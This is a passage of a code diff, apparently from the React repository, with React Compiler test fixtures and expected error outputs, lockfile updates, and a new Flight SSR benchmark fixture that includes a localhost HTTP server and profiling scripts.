| ^^^^^^^^^^^^^^^^^^^^^^^
> 17 | }, [x?.y.z.a?.b.z]);
| ^^^^ Could not preserve existing manual memoization
18 | const d = useMemo(() => {
19 | return x?.y?.[(console.log(y), z?.b)];
20 | // ok
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `ref`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-exhaustive-deps.ts:35:21
33 | const ref2 = useRef(null);
34 | const ref = z ? ref1 : ref2;
> 35 | const cb = useMemo(() => {
| ^^^^^^^
> 36 | return () => {
| ^^^^^^^^^^^^^^^^^^
> 37 | return ref.current;
| ^^^^^^^^^^^^^^^^^^
> 38 | };
| ^^^^^^^^^^^^^^^^^^
> 39 | // error: ref is a stable type but reactive
| ^^^^^^^^^^^^^^^^^^
> 40 | }, []);
| ^^^^ Could not preserve existing manual memoization
41 | return <Stringify results={[a, b, c, d, e, f, cb]} />;
42 | }
43 |
```

View File

@@ -22,7 +22,7 @@ function useHook() {
## Error
```
Found 2 errors:
Found 1 error:
Error: Found missing memoization dependencies
@@ -38,19 +38,6 @@ error.invalid-missing-nonreactive-dep-unmemoized.ts:11:31
14 |
Inferred dependencies: `[object]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `object`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-missing-nonreactive-dep-unmemoized.ts:11:24
9 | useIdentity();
10 | object.x = 0;
> 11 | const array = useMemo(() => [object], []);
| ^^^^^^^^^^^^^^ Could not preserve existing manual memoization
12 | return array;
13 | }
14 |
```

View File

@@ -0,0 +1,44 @@
## Input
```javascript
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
import {useEffect, useState} from 'react';
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
function Component({value = new Number()}) {
const [state, setState] = useState(0);
useEffect(() => {
setState(s => s + 1);
});
return state;
}
```
## Code
```javascript
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
import { useEffect, useState } from "react";
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
function Component({ value = new Number() }) {
const [state, setState] = useState(0);
useEffect(() => {
setState((s) => s + 1);
});
return state;
}
```
## Logs
```
{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":8,"column":4,"index":313},"end":{"line":8,"column":12,"index":321},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts","identifierName":"setState"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
{"kind":"CompileSuccess","fnLoc":{"start":{"line":5,"column":0,"index":203},"end":{"line":11,"column":1,"index":358},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":1,"prunedMemoValues":0}
```
### Eval output
(kind: exception) Fixture not implemented

View File

@@ -0,0 +1,11 @@
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
import {useEffect, useState} from 'react';
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
function Component({value = new Number()}) {
const [state, setState] = useState(0);
useEffect(() => {
setState(s => s + 1);
});
return state;
}

View File

@@ -0,0 +1,77 @@
## Input
```javascript
// @flow
import {PanResponder, Stringify} from 'shared-runtime';
export default component Playground() {
const onDragEndRef = useRef(() => {});
useEffect(() => {
onDragEndRef.current = () => {
console.log('drag ended');
};
});
const panResponder = useMemo(
() =>
PanResponder.create({
onPanResponderTerminate: () => {
onDragEndRef.current();
},
}),
[]
);
return <Stringify responder={panResponder} />;
}
```
## Code
```javascript
import { c as _c } from "react/compiler-runtime";
import { PanResponder, Stringify } from "shared-runtime";
export default function Playground() {
const $ = _c(3);
const onDragEndRef = useRef(_temp);
let t0;
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
t0 = () => {
onDragEndRef.current = _temp2;
};
$[0] = t0;
} else {
t0 = $[0];
}
useEffect(t0);
let t1;
if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
t1 = PanResponder.create({
onPanResponderTerminate: () => {
onDragEndRef.current();
},
});
$[1] = t1;
} else {
t1 = $[1];
}
const panResponder = t1;
let t2;
if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
t2 = <Stringify responder={panResponder} />;
$[2] = t2;
} else {
t2 = $[2];
}
return t2;
}
function _temp2() {
console.log("drag ended");
}
function _temp() {}
```
### Eval output
(kind: exception) Fixture not implemented

View File

@@ -0,0 +1,21 @@
// @flow
import {PanResponder, Stringify} from 'shared-runtime';
export default component Playground() {
const onDragEndRef = useRef(() => {});
useEffect(() => {
onDragEndRef.current = () => {
console.log('drag ended');
};
});
const panResponder = useMemo(
() =>
PanResponder.create({
onPanResponderTerminate: () => {
onDragEndRef.current();
},
}),
[]
);
return <Stringify responder={panResponder} />;
}

View File

@@ -30,7 +30,7 @@ function useFoo(input1) {
## Error
```
Found 2 errors:
Found 1 error:
Error: Found missing memoization dependencies
@@ -46,23 +46,6 @@ error.useMemo-unrelated-mutation-in-depslist.ts:18:14
21 | }
Inferred dependencies: `[x, y]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `input1`, but the source dependencies were [y]. Inferred different dependency than source.
error.useMemo-unrelated-mutation-in-depslist.ts:16:27
14 | const x = {};
15 | const y = [input1];
> 16 | const memoized = useMemo(() => {
| ^^^^^^^
> 17 | return [y];
| ^^^^^^^^^^^^^^^
> 18 | }, [(mutate(x), y)]);
| ^^^^ Could not preserve existing manual memoization
19 |
20 | return [x, memoized];
21 | }
```

View File

@@ -196,6 +196,44 @@ export function makeSharedRuntimeTypeProvider({
],
},
},
PanResponder: {
kind: 'object',
properties: {
create: {
kind: 'function',
positionalParams: [EffectEnum.Freeze],
restParam: null,
calleeEffect: EffectEnum.Read,
returnType: {kind: 'type', name: 'Any'},
returnValueKind: ValueKindEnum.Frozen,
aliasing: {
receiver: '@receiver',
params: ['@config'],
rest: null,
returns: '@returns',
temporaries: [],
effects: [
{
kind: 'Freeze',
value: '@config',
reason: ValueReasonEnum.KnownReturnSignature,
},
{
kind: 'Create',
into: '@returns',
value: ValueKindEnum.Frozen,
reason: ValueReasonEnum.KnownReturnSignature,
},
{
kind: 'ImmutableCapture',
from: '@config',
into: '@returns',
},
],
},
},
},
},
},
};
} else if (moduleName === 'ReactCompilerKnownIncompatibleTest') {

View File

@@ -421,4 +421,10 @@ export function typedMutate(x: any, v: any = null): void {
x.property = v;
}
export const PanResponder = {
create(obj: any): any {
return obj;
},
};
export default typedLog;

View File

@@ -10525,7 +10525,16 @@ string-length@^4.0.1:
char-regex "^1.0.2"
strip-ansi "^6.0.0"
"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
"string-width-cjs@npm:string-width@^4.2.0":
version "4.2.3"
resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
dependencies:
emoji-regex "^8.0.0"
is-fullwidth-code-point "^3.0.0"
strip-ansi "^6.0.1"
string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
version "4.2.3"
resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
@@ -10598,7 +10607,14 @@ string_decoder@~1.1.1:
dependencies:
safe-buffer "~5.1.0"
"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
"strip-ansi-cjs@npm:strip-ansi@^6.0.1":
version "6.0.1"
resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
dependencies:
ansi-regex "^5.0.1"
strip-ansi@^6.0.0, strip-ansi@^6.0.1:
version "6.0.1"
resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
@@ -11064,9 +11080,9 @@ undici-types@~6.19.2:
integrity sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==
undici@^6.19.5:
version "6.21.2"
resolved "https://registry.npmjs.org/undici/-/undici-6.21.2.tgz"
integrity sha512-uROZWze0R0itiAKVPsYhFov9LxrPMHLMEQFszeI2gCN6bnIIZ8twzBCJcN2LJrBBLfrP0t1FW0g+JmKVl8Vk1g==
version "6.23.0"
resolved "https://registry.yarnpkg.com/undici/-/undici-6.23.0.tgz#7953087744d9095a96f115de3140ca3828aff3a4"
integrity sha512-VfQPToRA5FZs/qJxLIinmU59u0r7LXqoJkCzinq3ckNJp3vKEh7jTWN589YQ5+aoAC/TGRLyJLCPKcLQbM8r9g==
unicode-canonical-property-names-ecmascript@^2.0.0:
version "2.0.1"
@@ -11375,7 +11391,7 @@ workerpool@^6.5.1:
resolved "https://registry.npmjs.org/workerpool/-/workerpool-6.5.1.tgz"
integrity sha512-Fs4dNYcsdpYSAfVxhnl1L5zTksjvOJxtC5hzMNl+1t9B8hTJTdKDyZ5ju7ztgPy+ft9tBFXoOlDNiOT9WUXZlA==
"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0", wrap-ansi@^7.0.0:
"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0":
version "7.0.0"
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
@@ -11393,6 +11409,15 @@ wrap-ansi@^6.2.0:
string-width "^4.1.0"
strip-ansi "^6.0.0"
wrap-ansi@^7.0.0:
version "7.0.0"
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
dependencies:
ansi-styles "^4.0.0"
string-width "^4.1.0"
strip-ansi "^6.0.0"
wrap-ansi@^8.1.0:
version "8.1.0"
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz"

View File

@@ -0,0 +1,62 @@
# Flight SSR Benchmark
Measures the performance overhead of the React Server Components (RSC) Flight pipeline compared to plain Fizz server-side rendering, across both Node and Edge (web streams) APIs.
## Prerequisites
Build React from the repo root first:
```sh
yarn build-for-flight-prod
```
Then install the fixture's dependencies:
```sh
cd fixtures/flight-ssr-bench
yarn install
```
## Scripts
| Script | Purpose |
| --- | --- |
| `yarn bench` | Sequential benchmark with Flight script injection (realistic framework pipeline). Best for measuring Edge vs Node overhead. |
| `yarn bench:bare` | Sequential benchmark without script injection. Best for measuring React-internal changes (e.g. Flight serialization optimizations) with less noise from stream plumbing. |
| `yarn bench:server` | HTTP server benchmark using autocannon at c=1 and c=10. Best for measuring real-world req/s. The c=1 results are also useful for tracking React-internal changes. |
| `yarn bench:concurrent` | In-process concurrent benchmark (50 in-flight renders). Measures throughput under load without HTTP overhead. |
| `yarn bench:profile` | CPU profiling via V8 inspector. Saves `.cpuprofile` files to `build/profiles/`. |
| `yarn start` | Starts the HTTP server for manual browser testing at `http://localhost:3001`. Append `.rsc` to any Flight URL to see the raw Flight payload. |
## What it measures
Each script benchmarks 8 render variants:
- **Fizz (Node, sync/async)** -- plain `renderToPipeableStream`, no RSC
- **Fizz (Edge, sync/async)** -- plain `renderToReadableStream`, no RSC
- **Flight + Fizz (Node, sync/async)** -- full RSC pipeline: Flight server (`renderToPipeableStream`) -> Flight client (`createFromNodeStream`) -> Fizz (`renderToPipeableStream`)
- **Flight + Fizz (Edge, sync/async)** -- full RSC pipeline: Flight server (`renderToReadableStream`) -> Flight client (`createFromReadableStream`) -> Fizz (`renderToReadableStream`)
The "sync" variants use a fully synchronous app (no Suspense boundaries). The "async" variants use per-row async components with staggered delays and individual Suspense boundaries (~250 boundaries per render).
### Script injection
The `yarn bench` and `yarn bench:server` scripts simulate what real frameworks do: tee the Flight stream and inject `<script>` hydration tags into the HTML output. This uses a `setTimeout(0)`-buffered Transform/TransformStream to avoid splitting mid-HTML-tag. `yarn bench:bare` skips this for cleaner React-internal measurement.
## Test app
A dashboard with ~25 components (16 client components), rendering:
- 200 product rows with nested reviews, specifications, and supplier data (~325KB Flight payload)
- 50 activity feed items
- Stats grid with 24-month chart data
- Sidebar with navigation and recent activity
## Output
The overhead tables show two comparisons:
1. **Flight overhead** -- Flight+Fizz vs Fizz-only (how much RSC adds)
2. **Edge vs Node** -- web streams vs Node streams (stream implementation cost)
Delta is shown as percentage change plus a factor (e.g. `+120% 2.20x` means 2.2x slower).

View File

@@ -0,0 +1,350 @@
'use strict';
require('@babel/register')({
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
plugins: ['@babel/plugin-transform-modules-commonjs'],
only: [/\/src\//],
});
const http = require('http');
const {Readable} = require('stream');
const webpack = require('webpack');
const {clientManifest, ssrManifest} = require('./webpack-mock');
const {
renderFizzNode,
renderFizzEdge,
renderFlightFizzNode,
renderFlightFizzEdge,
} = require('./render-helpers');
const {printGrid} = require('./print-helpers');
// ---------------------------------------------------------------------------
// Build
// ---------------------------------------------------------------------------
function build() {
const config = require('./webpack.config');
return new Promise(function (resolve, reject) {
webpack(config, function (err, stats) {
if (err) {
reject(err);
return;
}
if (stats.hasErrors()) {
reject(new Error(stats.toString({errors: true})));
return;
}
console.log(
stats.toString({colors: true, modules: false, entrypoints: false})
);
resolve();
});
});
}
// ---------------------------------------------------------------------------
// Server
// ---------------------------------------------------------------------------
const ITEM_COUNT = 200;
const PORT = 3001;
async function main() {
console.log('Building RSC bundle...\n');
await build();
const {
renderRSCNode,
renderRSCEdge,
App: RSCApp,
AppAsync: RSCAppAsync,
} = require('./build/rsc-bundle.js');
const App = require('./src/App.js').default;
const AppAsync = require('./src/AppAsync.js').default;
function pipeStreamToRes(stream, res) {
if (typeof stream.pipe === 'function') {
// Node Readable stream
stream.pipe(res);
} else {
// Web ReadableStream — convert to Node stream for HTTP response
Readable.fromWeb(stream).pipe(res);
}
}
function pipeToRes(streamOrPromise, res) {
if (typeof streamOrPromise.then === 'function') {
streamOrPromise.then(
function (stream) {
pipeStreamToRes(stream, res);
},
function (err) {
console.error(err);
if (!res.headersSent) res.writeHead(500);
res.end();
}
);
} else {
pipeStreamToRes(streamOrPromise, res);
}
}
const routes = {
'/fizz-node-sync': function (res) {
pipeToRes(renderFizzNode(App, ITEM_COUNT), res);
},
'/fizz-node-async': function (res) {
pipeToRes(renderFizzNode(AppAsync, ITEM_COUNT), res);
},
'/fizz-edge-sync': function (res) {
pipeToRes(renderFizzEdge(App, ITEM_COUNT), res);
},
'/fizz-edge-async': function (res) {
pipeToRes(renderFizzEdge(AppAsync, ITEM_COUNT), res);
},
'/flight-node-sync': function (res) {
pipeToRes(
renderFlightFizzNode(
renderRSCNode,
RSCApp,
ITEM_COUNT,
clientManifest,
ssrManifest
),
res
);
},
'/flight-node-sync.rsc': function (res) {
pipeStreamToRes(renderRSCNode(clientManifest, RSCApp, ITEM_COUNT), res);
},
'/flight-node-async': function (res) {
pipeToRes(
renderFlightFizzNode(
renderRSCNode,
RSCAppAsync,
ITEM_COUNT,
clientManifest,
ssrManifest
),
res
);
},
'/flight-node-async.rsc': function (res) {
pipeStreamToRes(
renderRSCNode(clientManifest, RSCAppAsync, ITEM_COUNT),
res
);
},
'/flight-edge-sync': function (res) {
pipeToRes(
renderFlightFizzEdge(
renderRSCEdge,
RSCApp,
ITEM_COUNT,
clientManifest,
ssrManifest
),
res
);
},
'/flight-edge-sync.rsc': function (res) {
pipeStreamToRes(renderRSCEdge(clientManifest, RSCApp, ITEM_COUNT), res);
},
'/flight-edge-async': function (res) {
pipeToRes(
renderFlightFizzEdge(
renderRSCEdge,
RSCAppAsync,
ITEM_COUNT,
clientManifest,
ssrManifest
),
res
);
},
'/flight-edge-async.rsc': function (res) {
pipeStreamToRes(
renderRSCEdge(clientManifest, RSCAppAsync, ITEM_COUNT),
res
);
},
};
const server = http.createServer(function (req, res) {
const handler = routes[req.url];
if (!handler) {
if (req.url === '/' || req.url === '') {
res.writeHead(200, {'Content-Type': 'text/html'});
res.end(
'<html><body><h1>Flight SSR Bench</h1><ul>' +
Object.keys(routes)
.map(function (r) {
return '<li><a href="' + r + '">' + r + '</a></li>';
})
.join('') +
'</ul></body></html>'
);
return;
}
res.writeHead(404);
res.end('Not found');
return;
}
const contentType = req.url.endsWith('.rsc')
? 'text/x-component'
: 'text/html';
res.writeHead(200, {'Content-Type': contentType});
handler(res);
});
await new Promise(function (resolve) {
server.listen(PORT, resolve);
});
console.log('\nServer listening on http://localhost:%d', PORT);
console.log('Endpoints:');
for (const route of Object.keys(routes)) {
console.log(' http://localhost:%d%s', PORT, route);
}
if (!process.argv.includes('--bench')) {
return;
}
// Run autocannon against each endpoint.
// Use a fixed request count (amount) instead of duration so that all
// in-flight requests complete before autocannon closes connections.
const autocannon = require('autocannon');
const concurrencyLevels = [1, 10];
const WARMUP_AMOUNT = 200;
const BENCH_AMOUNT = 1000;
function runAutocannon(benchUrl, connections, amount) {
return new Promise(function (resolve, reject) {
const instance = autocannon({url: benchUrl, connections, amount});
autocannon.track(instance, {
renderProgressBar: false,
renderResultsTable: false,
});
instance.on('done', resolve);
instance.on('error', reject);
});
}
for (const c of concurrencyLevels) {
console.log(
'\n--- HTTP Benchmark (%d warmup, c=%d, %d requests) ---\n',
WARMUP_AMOUNT,
c,
BENCH_AMOUNT
);
const results = {};
const benchRoutes = Object.keys(routes).filter(function (r) {
return !r.endsWith('.rsc');
});
const labelWidth = Math.max(
...benchRoutes.map(function (r) {
return r.length - 1;
})
);
const header =
''.padEnd(labelWidth) +
' ' +
'req/s'.padStart(14) +
' ' +
'p50'.padStart(8) +
' ' +
'p99'.padStart(8);
console.log(' ' + header);
console.log(' ' + '-'.repeat(header.length));
for (const route of benchRoutes) {
const label = route.slice(1);
const benchUrl = 'http://localhost:' + PORT + route;
// Warmup
await runAutocannon(benchUrl, c, WARMUP_AMOUNT);
const data = await runAutocannon(benchUrl, c, BENCH_AMOUNT);
const reqPerSec = (1000 / data.latency.mean) * data.connections;
const latencyMedian = data.latency.p50;
const latencyP99 = data.latency.p99;
const errors = data.errors + data.timeouts;
results[label] = {reqPerSec, latencyMedian, latencyP99};
let line =
' ' +
label.padEnd(labelWidth) +
' ' +
String(reqPerSec.toFixed(1)).padStart(8) +
' req/s' +
' ' +
String(latencyMedian).padStart(5) +
' ms' +
' ' +
String(latencyP99).padStart(5) +
' ms';
if (errors > 0) {
line += ' (' + errors + ' errors)';
}
console.log(line);
}
const rps = function (r) {
return r.reqPerSec;
};
console.log('\n--- Flight overhead (c=%d) ---\n', c);
printGrid(
['Fizz', 'Flight+Fizz'],
[
['Node sync', results['fizz-node-sync'], results['flight-node-sync']],
[
'Node async',
results['fizz-node-async'],
results['flight-node-async'],
],
['Edge sync', results['fizz-edge-sync'], results['flight-edge-sync']],
[
'Edge async',
results['fizz-edge-async'],
results['flight-edge-async'],
],
],
rps,
'req/s'
);
console.log('\n--- Edge vs Node (c=%d) ---\n', c);
printGrid(
['Node', 'Edge'],
[
['Fizz sync', results['fizz-node-sync'], results['fizz-edge-sync']],
['Fizz async', results['fizz-node-async'], results['fizz-edge-async']],
[
'Flight+Fizz sync',
results['flight-node-sync'],
results['flight-edge-sync'],
],
[
'Flight+Fizz async',
results['flight-node-async'],
results['flight-edge-async'],
],
],
rps,
'req/s'
);
}
server.close();
}
main().catch(function (err) {
console.error(err);
process.exit(1);
});

View File

@@ -0,0 +1,726 @@
'use strict';
require('@babel/register')({
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
plugins: ['@babel/plugin-transform-modules-commonjs'],
only: [/\/src\//],
});
const path = require('path');
const fs = require('fs');
const webpack = require('webpack');
const inspector = require('node:inspector');
const {clientManifest, ssrManifest} = require('./webpack-mock');
const PROFILE_MODE = process.argv.includes('--profile');
const CONCURRENT_MODE = process.argv.includes('--concurrent');
const INJECT = !process.argv.includes('--no-injection');
// ---------------------------------------------------------------------------
// Build
// ---------------------------------------------------------------------------
function build() {
const config = require('./webpack.config');
return new Promise(function (resolve, reject) {
webpack(config, function (err, stats) {
if (err) {
reject(err);
return;
}
if (stats.hasErrors()) {
reject(new Error(stats.toString({errors: true})));
return;
}
console.log(
stats.toString({colors: true, modules: false, entrypoints: false})
);
resolve();
});
});
}
// ---------------------------------------------------------------------------
// Render helpers
// ---------------------------------------------------------------------------
const {
renderFizzNode: renderFizzNodeStream,
renderFizzEdge: renderFizzEdgeStream,
renderFlightFizzNode: renderFlightFizzNodeStream,
renderFlightFizzEdge: renderFlightFizzEdgeStream,
nodeStreamToString,
webStreamToString,
} = require('./render-helpers');
const {printGrid} = require('./print-helpers');
function renderFizzNode(AppComponent, itemCount) {
return nodeStreamToString(renderFizzNodeStream(AppComponent, itemCount));
}
function renderFizzEdge(AppComponent, itemCount) {
return renderFizzEdgeStream(AppComponent, itemCount).then(webStreamToString);
}
function renderFlightFizzNode(renderRSCNode, AppComponent, itemCount) {
return nodeStreamToString(
renderFlightFizzNodeStream(
renderRSCNode,
AppComponent,
itemCount,
clientManifest,
ssrManifest,
{inject: INJECT}
)
);
}
function renderFlightFizzEdge(renderRSCEdge, AppComponent, itemCount) {
return renderFlightFizzEdgeStream(
renderRSCEdge,
AppComponent,
itemCount,
clientManifest,
ssrManifest,
{inject: INJECT}
).then(webStreamToString);
}
// ---------------------------------------------------------------------------
// Benchmarking
// ---------------------------------------------------------------------------
const canGC = typeof globalThis.gc === 'function';
async function runBenchmark(name, fn, iterations, warmup) {
if (canGC) globalThis.gc();
// Warmup
for (let i = 0; i < warmup; i++) {
await fn();
}
// Collect GC pauses during timed iterations.
let gcCount = 0;
let gcTotalMs = 0;
const gcObs = new PerformanceObserver(list => {
for (const entry of list.getEntries()) {
gcCount++;
gcTotalMs += entry.duration;
}
});
gcObs.observe({entryTypes: ['gc']});
// Timed iterations
const times = [];
for (let i = 0; i < iterations; i++) {
const start = performance.now();
await fn();
times.push(performance.now() - start);
}
gcObs.disconnect();
// Trim top/bottom 5% to remove outliers
const sorted = [...times].sort((a, b) => a - b);
const trimCount = Math.floor(sorted.length * 0.05);
const trimmed = sorted.slice(trimCount, sorted.length - trimCount);
const mean = trimmed.reduce((s, t) => s + t, 0) / trimmed.length;
const median = sorted[Math.floor(sorted.length / 2)];
const stddev = Math.sqrt(
trimmed.reduce((s, t) => s + (t - mean) ** 2, 0) / trimmed.length
);
const p95 = sorted[Math.floor(sorted.length * 0.95)];
const min = sorted[0];
const max = sorted[sorted.length - 1];
return {
name,
mean,
median,
stddev,
p95,
min,
max,
iterations,
gcCount,
gcTotalMs,
};
}
function printResult(result) {
console.log(' %s:', result.name);
console.log(' Mean: %s ms', result.mean.toFixed(2));
console.log(' Median: %s ms', result.median.toFixed(2));
console.log(' Stddev: %s ms', result.stddev.toFixed(2));
console.log(' P95: %s ms', result.p95.toFixed(2));
console.log(' Min: %s ms', result.min.toFixed(2));
console.log(' Max: %s ms', result.max.toFixed(2));
console.log(
' GC: %d pauses, %s ms total (%s ms/iter)',
result.gcCount,
result.gcTotalMs.toFixed(1),
(result.gcTotalMs / result.iterations).toFixed(2)
);
}
async function runConcurrent(name, fn, total, concurrency, warmup) {
if (canGC) globalThis.gc();
for (let i = 0; i < warmup; i++) {
await fn();
}
let gcCount = 0;
let gcTotalMs = 0;
const gcObs = new PerformanceObserver(list => {
for (const entry of list.getEntries()) {
gcCount++;
gcTotalMs += entry.duration;
}
});
gcObs.observe({entryTypes: ['gc']});
const latencies = new Array(total);
let completed = 0;
let launched = 0;
const start = performance.now();
await new Promise(resolve => {
function launch() {
while (launched < total && launched - completed < concurrency) {
const idx = launched++;
const t0 = performance.now();
fn().then(() => {
latencies[idx] = performance.now() - t0;
completed++;
if (completed === total) {
resolve();
} else {
launch();
}
});
}
}
launch();
});
const elapsed = performance.now() - start;
gcObs.disconnect();
const sorted = [...latencies].sort((a, b) => a - b);
const mean = sorted.reduce((s, t) => s + t, 0) / sorted.length;
const p95 = sorted[Math.floor(sorted.length * 0.95)];
return {
name,
reqPerSec: (total / elapsed) * 1000,
mean,
p95,
total,
concurrency,
gcCount,
gcTotalMs,
};
}
function printConcurrentResult(result) {
console.log(' %s:', result.name);
console.log(' Req/s: %s', result.reqPerSec.toFixed(1));
console.log(' Mean: %s ms', result.mean.toFixed(2));
console.log(' P95: %s ms', result.p95.toFixed(2));
console.log(
' GC: %d pauses, %s ms total (%s ms/req)',
result.gcCount,
result.gcTotalMs.toFixed(1),
(result.gcTotalMs / result.total).toFixed(2)
);
}
// ---------------------------------------------------------------------------
// CPU Profiling
// ---------------------------------------------------------------------------
function startProfiler() {
const session = new inspector.Session();
session.connect();
return new Promise(function (resolve, reject) {
session.post('Profiler.enable', function (err) {
if (err) {
reject(err);
return;
}
session.post('Profiler.start', function (err2) {
if (err2) {
reject(err2);
return;
}
resolve(session);
});
});
});
}
function stopProfiler(session, outputPath) {
return new Promise(function (resolve, reject) {
session.post('Profiler.stop', function (err, {profile}) {
if (err) {
reject(err);
return;
}
fs.mkdirSync(path.dirname(outputPath), {recursive: true});
fs.writeFileSync(outputPath, JSON.stringify(profile));
session.post('Profiler.disable');
session.disconnect();
resolve(profile);
});
});
}
function printTopFunctions(profile, topN) {
// Aggregate self-time per function from the profile nodes.
const selfTimes = new Map();
for (const node of profile.nodes) {
const name = node.callFrame.functionName || '(anonymous)';
const loc = node.callFrame.url
? node.callFrame.url.replace(/.*\//, '') + ':' + node.callFrame.lineNumber
: '(native)';
const key = name + ' @ ' + loc;
const hitCount = node.hitCount || 0;
selfTimes.set(key, (selfTimes.get(key) || 0) + hitCount);
}
const sorted = [...selfTimes.entries()]
.sort((a, b) => b[1] - a[1])
.slice(0, topN);
const totalSamples = profile.nodes.reduce((s, n) => s + (n.hitCount || 0), 0);
console.log(' Top %d functions by self-time:', topN);
for (const [key, hits] of sorted) {
const pct = ((hits / totalSamples) * 100).toFixed(1);
console.log(' %s%% - %s', pct, key);
}
}
async function profileRun(name, fn, warmup, iterations, outputPath) {
// Warmup (unprofiled)
for (let i = 0; i < warmup; i++) {
await fn();
}
// Collect GC pauses during the profiled run.
let gcCount = 0;
let gcTotalMs = 0;
const gcObs = new PerformanceObserver(list => {
for (const entry of list.getEntries()) {
gcCount++;
gcTotalMs += entry.duration;
}
});
gcObs.observe({entryTypes: ['gc']});
// Profiled run
const session = await startProfiler();
for (let i = 0; i < iterations; i++) {
await fn();
}
const profile = await stopProfiler(session, outputPath);
gcObs.disconnect();
console.log(' %s → %s', name, outputPath);
printTopFunctions(profile, 10);
console.log(
' GC: %d pauses, %s ms total (%s ms/iter)',
gcCount,
gcTotalMs.toFixed(1),
(gcTotalMs / iterations).toFixed(2)
);
}
// ---------------------------------------------------------------------------
// Main
// ---------------------------------------------------------------------------
async function main() {
console.log('Building RSC bundle...\n');
await build();
const {
renderRSCNode,
renderRSCEdge,
App: RSCApp,
AppAsync: RSCAppAsync,
} = require('./build/rsc-bundle.js');
const App = require('./src/App.js').default;
const AppAsync = require('./src/AppAsync.js').default;
const ITEM_COUNT = 200;
const WARMUP = 50;
const ITERATIONS = 1000;
const PROFILE_WARMUP = 50;
const PROFILE_ITERATIONS = 500;
// --- Verify renders ---
console.log('\n--- Verifying renders ---\n');
const fizzNodeHtml = await renderFizzNode(App, ITEM_COUNT);
console.log('Fizz (Node, sync): %d bytes', fizzNodeHtml.length);
const flightFizzNodeHtml = await renderFlightFizzNode(
renderRSCNode,
RSCApp,
ITEM_COUNT
);
console.log(
'Flight + Fizz (Node, sync): %d bytes',
flightFizzNodeHtml.length
);
const fizzNodeAsyncHtml = await renderFizzNode(AppAsync, ITEM_COUNT);
console.log('Fizz (Node, async): %d bytes', fizzNodeAsyncHtml.length);
const flightFizzNodeAsyncHtml = await renderFlightFizzNode(
renderRSCNode,
RSCAppAsync,
ITEM_COUNT
);
console.log(
'Flight + Fizz (Node, async):%d bytes',
flightFizzNodeAsyncHtml.length
);
const fizzEdgeHtml = await renderFizzEdge(App, ITEM_COUNT);
